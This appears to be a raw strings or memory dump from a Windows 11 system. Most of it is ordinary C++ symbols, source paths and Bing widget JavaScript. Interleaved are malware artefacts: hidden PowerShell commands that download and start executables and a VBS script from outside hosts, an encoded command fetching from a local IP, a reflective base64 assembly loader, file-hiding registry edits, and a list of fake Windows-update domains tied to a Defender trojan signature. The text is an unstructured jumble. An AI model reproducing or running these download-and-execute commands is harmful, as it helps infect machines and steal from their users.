FSystemRoot=C:\WINDOWS
EHshell.run"c:\windows\
168^com.microsoft.windows.telemetryid
169^com.microsoft.windows.extensionpackage
16b^com.microsoft.windows.webexperiencehost
Windows::Cdf::Rtl::CdfEnumerateUlongTable
CTSEnumeratorHandleImplementation<struct _CDF_INTERNAL_ULONG_TABLE_ENUMERATOR,class Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<struct _CDF_INTERNAL_ULONG_TABLE_ENUMERATOR> >::MovePosition
CTSEnumeratorHandleImplementation<struct _CDF_INTERNAL_ULONG_TABLE_ENUMERATOR,class Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<struct _CDF_INTERNAL_ULONG_TABLE_ENUMERATOR> >::SetPosition
Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<struct _CDF_INTERNAL_ULONG_TABLE_ENUMERATOR>::Attach
Windows::Isolation::Rtl::RtlDoesDefinitionIdentityMatchReferenceIdentity
Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<class CIdentityTypeTraits>::Attach
Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<class CBaseIdentityTraits>::Attach
Windows::Isolation::Rtl::RtlHashBaseIdentity
Windows::Isolation::Rtl::RtlAreBaseIdentitiesEqual
Windows::Isolation::Rtl::RtlCorrelateBaseIdentityAttributes
Windows::Isolation::Rtl::RtlCreateReferenceIdentity
Windows::Isolation::Rtl::RtlCreateUtf8ReferenceIdentity
Windows::Isolation::Rtl::RtlParseReferenceIdentity
Windows::Isolation::Rtl::RtlFormatReferenceIdentity
Windows::Isolation::Rtl::RtlFormatUtf8ReferenceIdentity
Windows::Isolation::Rtl::RtlDuplicateReferenceIdentityHandle
Windows::Isolation::Rtl::RtlCloseReferenceIdentityHandle
Windows::Isolation::Rtl::RtlGetReferenceIdentityAttributeValue
Windows::Isolation::Rtl::RtlSetReferenceIdentityAttributeValue
Windows::Isolation::Rtl::RtlAreReferenceIdentitiesEqual
Windows::Isolation::Rtl::RtlQueryInformationReferenceIdentity
Windows::Isolation::Rtl::RtlGenerateReferenceIdentityUnicodeKeyForm
Windows::Isolation::Rtl::RtlCreateReferenceIdentityAttributeEnumerator
::Windows::Isolation::Rtl::IsValid(ReferenceIdentity)
Windows::Isolation::Rtl::RtlIsReferenceIdentityAttributePresent
Windows::Isolation::Rtl::RtlHashReferenceIdentity
Windows::Isolation::Rtl::RtlCreateBaseIdentity
Windows::Isolation::Rtl::RtlCreateUtf8BaseIdentity
Windows::Isolation::Rtl::Rtl
Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<struct _CDF_INTERNAL_REFERENCE_IDENTITY_TABLE>::Attach
Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<struct _CDF_INTERNAL_DEFINITION_IDENTITY_TABLE>::Attach
Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<struct _CDF_INTERNAL_GUID_TABLE>::Attach
Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<struct _CDF_INTERNAL_ULONG_TABLE>::Attach
@U?$_Callable_obj@V<lambda_91d57ca5e12a436b563e6b78a25cada3>@@$0A@@std@@V?$allocator@V?$_Func_class@XV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@std@@U34@U34@U34@U34@U34@@std@@@2@XV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@2@U62@U62@U62@U62@U62@@std@@
.?AU?$__abi_FunctorCapture@V<lambda_456d06b88bda48c06f5a8d787e980819>@@XPE$AAU?$IAsyncOperation@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count@U?$_Task_impl@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@details@Concurrency@@@std@@
.?AU?$__abi_FunctorCapture@V<lambda_97da4a96b36ceaa884c22027ac5bdbe9>@@XPE$AAU?$IAsyncOperationWithProgress@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_e4afc78cd6ffd39d596c42992fd234d2>@@XPE$AAU?$IAsyncOperation@PE$AAUIStorageItem@Storage@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_fcc2a713e526a986084e129c4c5cc27d>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_9e00d095a4808b831c6a879a7d17b2b9>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVStorageFile@Storage@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Func_base@EV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@std@@U34@U34@U34@U34@U34@@std@@
.?AV?$_Func_base@XV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@std@@U34@U34@U34@U34@U34@@std@@
.?AU?$IAsyncOperation@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Foundation@Windows@@
.?AU__I?$_AsyncInfoImpl@PE$AAU?$IAsyncOperationWithProgress@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@Foundation@Windows@@V?$AsyncOperationWithProgressCompletedHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@23@PE$AAVDownloadOperation@BackgroundTransfer@Networking@3@PublicNonVirtuals@details@Concurrency@@
.?AU?$_AsyncInfoImpl@PE$AAU?$IAsyncOperationWithProgress@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@Foundation@Windows@@V?$AsyncOperationWithProgressCompletedHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@23@PE$AAVDownloadOperation@BackgroundTransfer@Networking@3@@details@Concurrency@@
.?AU__I?$_IAsyncOperationWithProgressToAsyncOperationConverter@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@PublicNonVirtuals@details@Concurrency@@
windows d>
\media\windows navigation
-windowstylehidden~
login.windows.net
SystemRuntimeWindowsRuntimeUIXaml
GdipMultiplyTextureTrans,t.map((n,t)=>React.createElement(n.sectionView,Object.assign(Object.assign({},n.props),{isTwoCta:i[t],key:n.props.id+"_"+t}))))};r.CTASectionsCarousel=n=>{const{containerID:t,ctaCarouselComponentProps:u,sections:i,isFullWidthDSB:f}=n;return React.createElement("div",{className:"dsb-cta-carousel",id:t},React.createElement(r.MegaCarouselComponent,Object.assign({},Object.assign(Object.assign({},u),{containerID:t})),i.map((n,t)=>React.createElement(n.sectionView,Object.assign(Object.assign({},n.props),{index:t,itemsLength:i.length,key:n.props.id+"_"+t,isFullWidthDSB:f})))))};r.CTASectionsBlock=n=>{const{containerID:o,ctaCarouselComponentProps:s,sections:t,splitPointIndex:i,isFullWidthDSB:h}=n;let u=t.length;if(i>u)return React.createElement(React.Fragment,null);let f=t.slice(0,i),e=t.slice(i,u);return React.createElement(React.Fragment,null,f&&React.createElement(r.CTASections,{sections:f}),e&&React.createElement(r.CTASectionsCarousel,{containerID:o,ctaCarouselComponentProps:s,sections:e,isFullWidthDSB:h}))}})(r=i.Templates||(i.Templates={}))})(i=t.DSB||(t.DSB={}))})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){var i;(function(t){var i;(function(t){class i extends React.Component{constructor(t){super(t);this.tsBaseUrl=n.config.enableOfflineWithWeb&&n.config.webHost&&n.isBrowserOnline()?n.config.webHost:location.origin}click(t,i,r){let u=`${this.tsBaseUrl}/search?q=${encodeURIComponent(r)}`;n.config.enableSearchHomeSuggToBingChat&&(u+="&showconv=1&sendquery=1");n.Host.launchDSBUriAsync(n.generateBingUrlWithLanguageAndRegion(u),i,t)}maxSuggestions(t){if(this.canvas=this.canvas||document.createElement("canvas"),this.props.isFullWidthDSB)return 7;let i;if(i=n.config.useCobaltCSS?n.numberOfItemsToDisplay(t.map(n=>n.Title),5,this.canvas,{extraWidthPerItem:36,lineWidth:390}):n.numberOfItemsToDisplay(t.map(n=>n.Title),5,this.canvas,{extraWidthPerItem:33,lineWidth:368,font:`normal 13px "Segoe UI"`}),n.config.trendingSearchLimitEnabled){const t=Math.min(i,n.config.trendingSearchMaxLimit);return n.config.trendingSearchEvenItems&&t%2==1?t-1:t}return i}imgSyle(t){return{backgroundImage:`url(${n.generateBingThumbnailUrlFromIdByScenario(t,{dsbSection:2,dsbScenario:n.DSBScenario.TrendingSearch,isWindows11:n.config.useCobaltCSS},this.props.imageHostName)})`}}render(){var f,e,o,s;const{FieldsStore:i,id:v,imageHostName:w,date:h,isFullWidthDSB:y,instrumentedItem:b}=this.props;var u="",c="",l=!1;i.Scenario=="RelatedSearch"&&(l=!0);this.props.isFullWidthDSB&&(u=n.config.enableLBSHSolidBlueIcon?"SolidBlueIconV2_MRU":n.config.enableLBSHGradientIcon?"GradientIconV2_MRU":"SearchIconV2_MRU",c=u);let a;i.ClickThroughUrl&&n.config.expandMegaClickTarget&&(a=i.ClickThroughUrl+n.Host.getLocString("TrendingOnBing"));const p=(e=(f=i===null||i===void 0?void 0:i.Items)===null||f===void 0?void 0:f[0])===null||e===void 0?void 0:e.Title;n.config.enableClickableTSFirstSugg&&p&&(a=`${this.tsBaseUrl}/search?q=${encodeURIComponent(p)}`);let r=i.MegaLink;(r===null||r===void 0?void 0:r.ClickThroughUrl)&&(n.config.enableDsbTsStyle1||n.config.enableDsbTsStyle2)&&(r=Object.assign(Object.assign({},r),{ClickThroughUrl:r.ClickThroughUrl+n.Host.getLocString("TrendingOnBing")}));const k=this.props.isFullWidthDSB?"":"two-column-ts",d=this.props.isFullWidthDSB?"":"icon-pill",g=n.config.contrastFocusVisible?"contrastFocusVisible":"",nt=React.createElement("ul",null,(o=i.Items)===null||o===void 0?void 0:o.slice(0,this.maxSuggestions(i.Items)).map(i=>{var f;let r=i.Title,e=`${v}_${r}${h?"_"+h:""}${y?"_full_width":""}`;return React.createElement("li",{className:(this.props.isFullWidthDSB?"mru-trending selectable focusable":"mru-trending focusable")+` ${k}`+` ${g}`,"data-h":(f=i.instrumentedItem)===null||f===void 0?void 0:f.getHValue(),id:e,key:e,onClick:t=>{n.config.enableClickableTSFirstSugg&&t.stopPropagation(),this.click(t.nativeEvent,i.instrumentedItem,r)},title:r,tabIndex:-1},u&&c&&React.createElement("span",{className:"icon-padding"},React.createElement("div",{className:"icon"},React.createElement(t.DynamicIcons,{id:u,Icon:c}))),!this.props.isFullWidt
WindowScrimView
[-hkey_classes_root\folder\shell\windowsdefender]
	MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy
 -windowstyle hidden -eB
M -Windowstyle Hidden -encodedCommand dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADE
windowsazureR
See if you have a 32-bit or 64-bit version of Windows9
onecoreuap\shell\windows.storage\frequentplacesfolder.cpp
onecoreuap\shell\windows.storage\deskfldr.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\util.cpp
onecoreuap\shell\windows.storage\persisteditemlist.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\mtptl2.cpp
onecoreuap\shell\windows.storage\execassoc.cpp
onecoreuap\shell\windows.storage\appuriresolver.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\fileicon.cpp
c:\windows\system32\cmd.exe/c%systemroot%\system32\windowspowershell\v1.0\powershell.exe-whiddeniwr-urihttps://solanacloud.pro/adobereader1.65.vbs-outfile$env:temp\adobereader1.65.vbs;start-process$env:temp\adobereader1.65.vbs
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"&{invoke-webrequest-urihttps://api.hostize.com/files/i1gcft_wje/download/file.exe-outfile$env:temp\file.exe;start-process$env:temp\file.exe}"
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
-windowstyle
windows\
onecoreuap\shell\windows.storage\extrinsicpropertystore.cpp
onecoreuap\shell\windows.storage\syncstate.cpp
Microsoft-Windows-CoreSystem-Security-UserMgr-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
onecoreuap\shell\windows.storage\UpgradingProxy.h
onecoreuap\shell\windows.storage\StorageFolderChangeTracker.h
\\WINDOWS11
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@PEAUIOnlineIdSystemTicketResult@23456@@Internal@Foundation@Windows@ABI@@@Foundation@Windows@ABI@@
.?AU?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@Foundation@Windows@ABI@@
onecoreuap\shell\windows.storage\kfapi\foldermanager.cpp
onecoreuap\shell\windows.storage\kfapi\folderredirector.cpp
onecoreuap\shell\windows.storage\viewsettings.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\folder.cpp
onecoreuap\shell\windows.storage\capplicationpathaccess.cpp
onecoreuap\shell\windows.storage\dswinrtwrappers.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\staterepohelpers.h
onecoreuap\shell\windows.storage\sharedstoragesources\DynamicProgIdHelpers.h
onecoreuap\shell\windows.storage\sharedstoragesources\assocutil.cpp
onecoreuap\shell\windows.storage\findfile.cpp
onecoreuap\shell\windows.storage\fileenum.cpp
onecoreuap\shell\windows.storage\changenotify\scnotify.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\filecls.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\shapi.cpp
GetProcessWindowStation
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsCreateString
WindowsIsStringEmpty
WindowsCompareStringOrdinal
WindowsStringHasEmbeddedNull
WindowsGetStringLen
WindowsTrimStringEnd
WindowsCreateStringReference
WindowsSubstringWithSpecifiedLength
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
WindowsSubstring
EnumWindows
onecoreuap\shell\windows.storage\knownfolderpaths.cpp
onecoreuap\shell\windows.storage\homeoperationsink.cpp
onecoreuap\shell\windows.storage\cstoragelibraryresult.cpp
onecoreuap\shell\windows.storage\storageproviderurisource.cpp
onecoreuap\shell\windows.storage\connectedfilesfinder.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\defaultbrowser.cpp
onecoreuap\shell\windows.storage\storagefolderchangetracker.cpp
onecoreuap\shell\windows.storage\customstatepropdesc.cpp
onecoreuap\shell\windows.storage\proponlyitem.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\filecopy.cpp
onecoreuap\shell\windows.storage\privprof.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\propapply.cpp
onecoreuap\shell\windows.storage\regfldr.cpp
onecoreuap\shell\windows.storage\defcollection.cpp
onecoreuap\shell\windows.storage\CapturedCallerContextLib\inc\InitOnce.h
onecoreuap\shell\windows.storage\fileitemcollections.cpp
onecoreuap\shell\windows.storagem
onecoreuap\shell\windows.storage\drivfldr.cpp
onecoreuap\shell\windows.storage\staterepodrivencommand.cpp
onecoreuap\shell\windows.storage\filerandomaccessstreamstatics.cpp
onecoreuap\shell\windows.storage\MSGraphHomeFolder.h
onecoreuap\shell\windows.storage\sharedstoragesources\infotip.cpp
onecoreuap\shell\windows.storage\kfapi\utils.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\queueitem.t
onecoreuap\shell\windows.storage\sharedstoragesources\path.cpp
VS2012WindowSplitterControlFactory
VS2013WindowSplitterControlFactory
IWindowSplitterControlFactory
set_WindowSplitterControlFactory
windowsSplitterFactory
onecoreuap\shell\windows.storage\kfapi\folderpathresolver.cpp
onecoreuap\shell\windows.storage\library\librarydescription.cpp
onecoreuap\shell\windows.storage\item.cpp
(onecoreuap\shell\windows.storage\ftcommands.cpp
onecoreuap\shell\windows.storage\basedatadrivencommand.cpp
onecoreuap\shell\windows.storage\SharedStorageSources\StateRepoHelpers.h
onecoreuap\shell\windows.storage\sharedstoragesources\execute.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\assocarray.cpp
onecoreuap\shell\windows.storage\storagehelpers.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\appdefaultsparser.cpp
onecoreuap\shell\windows.storage\fileext.h
onecoreuap\shell\windows.storage\internetfolder\internetfolder.cpp
onecoreuap\shell\windows.storage\protectionpolicymanager.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\cassochandler.cpp
onecoreuap\shell\windows.storage\capturedcallercontextlib\packagenameutils.cpp
onecoreuap\shell\windows.storage\cstoragelibrarystatics.cpp
onecoreuap\shell\windows.storage\cloudfilesinterruptsource.cpp
onecoreuap\shell\windows.storage\recdocs.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\openwithcore.cpp
onecoreuap\shell\windows.storage\volatilepropertystore.cpp
onecoreuap\shell\windows.storage\cloudfilestoasts.cpp
onecoreuap\shell\windows.storage\collection.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\dvtasks.cpp
onecoreuap\shell\windows.storage\netfldr.cpp
onecoreuap\shell\windows.storage\homefolder.cpp
onecoreuap\shell\windows.storage\kfapi\folderidlistbuilder.cpp
onecoreuap\shell\windows.storage\WinRTStorageTelemetry.h
onecoreuap\shell\windows.storage\shelllnk.cpp
onecoreuap\shell\windows.storage\cstorageapplicationpermissionsbrokered.cpp
onecoreuap\shell\windows.storage\ext-ms-win-winrt-storage.cpp
onecoreuap\shell\windows.storage\cstorageapplicationpermissions.cpp
:software\microsoft\windows\currentversion\policies\explorer\run
/Microsoft Windows Third Party Component CA 20130
2Microsoft Windows Software Compatibility Publisher0
Microsoft.Windows.Security.Wldp
splitWindows
!#HSTR:IsWinlogon
*MicrosoftWindows.CrossDevice_cw5n1h2txyewy
Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
windows\system32\
SystemRoot=C:\WINDOWS
USERDOMAIN_ROAMINGPROFILE=Windows
windir=C:\WINDOWS
vnt-windows-online.comgenuine-check.comgenuineupdate.comnt-windows-update.comnt-windows-check.comgenuineservicecheck.comsvchost-check.comsvchost-online.commicrosoftosupdate.commicrosoft-msdn.commicrosoftcheck.commsinfoonline.orgwin-check-update.commobile-update.comms-software-check.comms-software-update.comms-software-genuine.comwindowscheckupdate.comwindows-genuine.comwindowsonlineupdate.comcsrss-check-new.comcsrss-update-new.comcsrss-upgrade-new.comdll-host-update.comdll-host-check.comdll-host.comwin-driver-upgrade.comupdate-genuine.comsvchost-update.comos-microsoft-check.comxponlineupdate.comdll-host-udate.comnew-driver-upgrade.comdllupdate.infoos-microsoft-update.comwingenuine.comdrivers-update-online.comwins-update.comwins-driver-update.commsonlineupdate.comwins-driver-check.comdrivers-check.comdrivers-get.comosgenuine.commsgenuine.netmsonlinecheck.commsonlineget.com!#ALF:Trojan:Win64/VanillaMilkshake.B!dha
 @PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
is the Windows {0}0
Windows {0}6
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
#Iget-item$logpath-force).attributes="archive,hidden"}set-itempropertyhkcu:\\software\microsoft\windows\currentversion\explorer\advanced-namehidden-value
<start-process"c:\windows\system32\slui.exe"-verbrunas
frombase64string($ryaeg.replace('$$','a'));[system.appdomain]::currentdomain.load($fyfdz).gettype('tehulchesxxxxx.class1').getmethod('msqbiby').invoke($null,[object[]]('maavahyaqqbjae4abgbvafmaugavagqalwblagualgblahqacwbhahaalwavadoacwbwahqadaboaa==','c:\windows\system32\/tmp/
start-processpowershell-argumentlist"-executionpolicybypass-windowstylehidden-command
powershell-windowstylehidden$
Windows
setWindowsActivationStateToCache
isConsumerWindowsSKU
Z_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
